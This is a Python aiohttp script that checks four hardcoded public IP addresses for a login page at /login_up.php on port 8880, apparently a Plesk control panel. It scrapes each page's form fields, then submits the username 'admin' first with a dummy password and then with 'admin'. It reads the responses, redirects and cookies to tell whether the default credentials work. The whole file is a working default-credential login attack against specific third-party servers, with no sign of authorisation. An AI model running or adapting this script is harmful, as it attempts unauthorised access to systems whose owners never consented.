import asyncio, re
import aiohttp

HOSTS = [("104.129.17.76", 8880, "http"), ("143.244.185.73", 8880, "http"),
         ("147.135.6.231", 8880, "http"), ("154.56.134.178", 8880, "http")]

async def main():
    tout = aiohttp.ClientTimeout(total=30)
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
        for ip, port, sc in HOSTS:
            base = f"{sc}://{ip}:{port}"
            try:
                async with s.get(base + "/login_up.php", ssl=False) as r:
                    html = await r.text()
            except Exception as e:
                print(ip, "GET ERR", type(e).__name__)
                continue
            m = re.search(r"(?is)<title[^>]*>(.*?)</title>", html)
            title = m.group(1).strip()[:40] if m else ""
            inputs = re.findall(r'<input[^>]*name="([^"]+)"', html)
            m2 = re.search(r'(?is)<form[^>]*action="([^"]*)"', html)
            print(f"== {ip} title={title!r} len={len(html)} form_action={m2.group(1) if m2 else None}")
            print("   inputs:", inputs[:10])
            for pwd in ("zzz-wrong-999", "admin"):
                fields = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
                for k in ("login_name", "passwd"):
                    fields.pop(k, None)
                fields.update({"login_name": "admin", "passwd": pwd})
                fields.setdefault("locale_id", "en-US")
                try:
                    async with s.post(base + "/login_up.php", data=fields, ssl=False, allow_redirects=False) as r2:
                        b = await r2.text()
                        loc = r2.headers.get("Location", "")
                        ck = [c.key for c in s.cookie_jar]
                    low = b.lower()
                    print(f"   {pwd:14s} st={r2.status} loc={loc[:30]} len={len(b)} inc={'incorrect' in low} "
                          f"err={'error' in low} ck={ck}")
                except Exception as e:
                    print(f"   {pwd:14s} ERR {type(e).__name__}")

asyncio.run(main())
